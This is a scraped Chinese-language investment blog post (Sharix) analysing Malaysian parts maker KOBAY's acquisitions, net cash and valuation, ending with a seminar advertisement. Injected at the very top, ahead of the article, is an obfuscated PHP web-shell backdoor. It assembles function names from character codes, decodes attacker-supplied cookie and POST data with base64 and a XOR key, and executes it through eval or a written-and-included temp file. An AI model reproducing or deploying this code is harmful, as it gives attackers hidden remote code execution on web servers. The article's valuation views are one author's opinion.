$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}
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KOBAY 盈利再创新高,精密零件领域成长可期 (Part 2) - Sharix

KOBAY 盈利再创新高,精密零件领域成长可期 (Part 2)

和大家回顾,公司在去年5月以RM47.7 million完成收购Avelon 70% 的股权,进军保健品和药剂销售领域。Avelon旗下有五间公司,4家以Park@City品牌经营的药店,而另一家则是销售医疗保健的零售店。值得注意的是,Avelon担保在未来三年RM25.5 million的盈利保障,也就是每年大约RM8 million的盈利会直接贡献在KOBAY的账目。

公司的资产负债表也非常干净,净现金的水平也正在上涨。公司目前手握RM115.6 million的现金,也背负着RM51.7 million的负债,净现金水平来到RM63.9 million。现金流方面,公司的营运现金流从2016财年的RM7.2 million上涨至2021财年的RM23.4 million,5年复合增长率高达26.6%。另外,公司在1H22的营运现金流也已经来到RM14.5 million。

公司的高估值向来都是投资者选择规避的原因。但是,KOBAY的股价已经从去年RM6.58的顶峰下滑39% 至目前的RM4.00,本益比也从当时的65倍腰斩至现在的31倍左右,这主要是受到大马杀估值的趋势所致。笔者也在上方整理在大马上市的精密零件制造商的估值,从上图可以看到目前精密零件制造商的平均本益比为24.6倍。大家可以发现涉足半导体、生命科学、汽车等领域的精密零件制造商的估值也是更高的,当中最突出的就是UWC,即使经历杀估值的行情,目前的本益比还是高达48.7倍。反观KOBAY、YBS、JHM、DUFU等估值就比较合理。

另外,大家也会发现精密零件制造商不会只局限在某个领域,而是把生意分散至不同的领域。那些专注在半导体、神明科学和汽车相关领域的制造商会享有较高的赚幅,这也是市场愿意基于较高估值的原因。但无论如何,笔者认为精密零件的平均本益比如果超过30倍就是比较不合理的范围。因此当大家在分析精密零件制造商时,也要注意公司所涉足的领域和赚幅能不能支撑现有的估值。

根据Hong Leong Research的分析报告显示,该投行给KOBAY的目标价为RM7.88,基于制造业务45倍的本益比和医疗保健25倍的本益比。虽然该投行预测KOBAY未来净利三年的复合成长率来到42%,但笔者认为在大马股市杀估值的趋势下给予这么高的估值是不合理的。往好的方面看,如果用2023财年RM58.9 million的净利预测去计算,KOBAY目前的远期本益比只有20.7倍。

虽然不算吸引,但估值已经下修至合理的区间。精密零件是竞争非常剧烈的领域,这也是KOBAY把生意分散至绿色能源相关和医疗保健等领域。笔者认为KOBAY涉足半导体和电子电气领域然公司享有更高的盈利能力,只要公司的盈利持续成长,而股价在这段期间再出现下跌,或许是个不错的投资机会。

又到了季报发布的季节了,SHARIX一向协助投资者们学习投资理财,让投资化繁为简。想要掌握投资本质的起承转合,要涉及的知识面非常广,所以Sharix 所独创的《股理悟道》分享会绝对能助投资者们一臂之力。尤其在2022年股市充满许多不确定因素的时候,《股理悟道》能有效帮助投资者跟进马股每个季度上市公司的业绩表现以及发现投资机会。

如果你是第一次知道这项分享会,欢迎前来试试,如果此分享会能帮助到您的话,不妨可签订我们股理悟道年票并享有额外福利~

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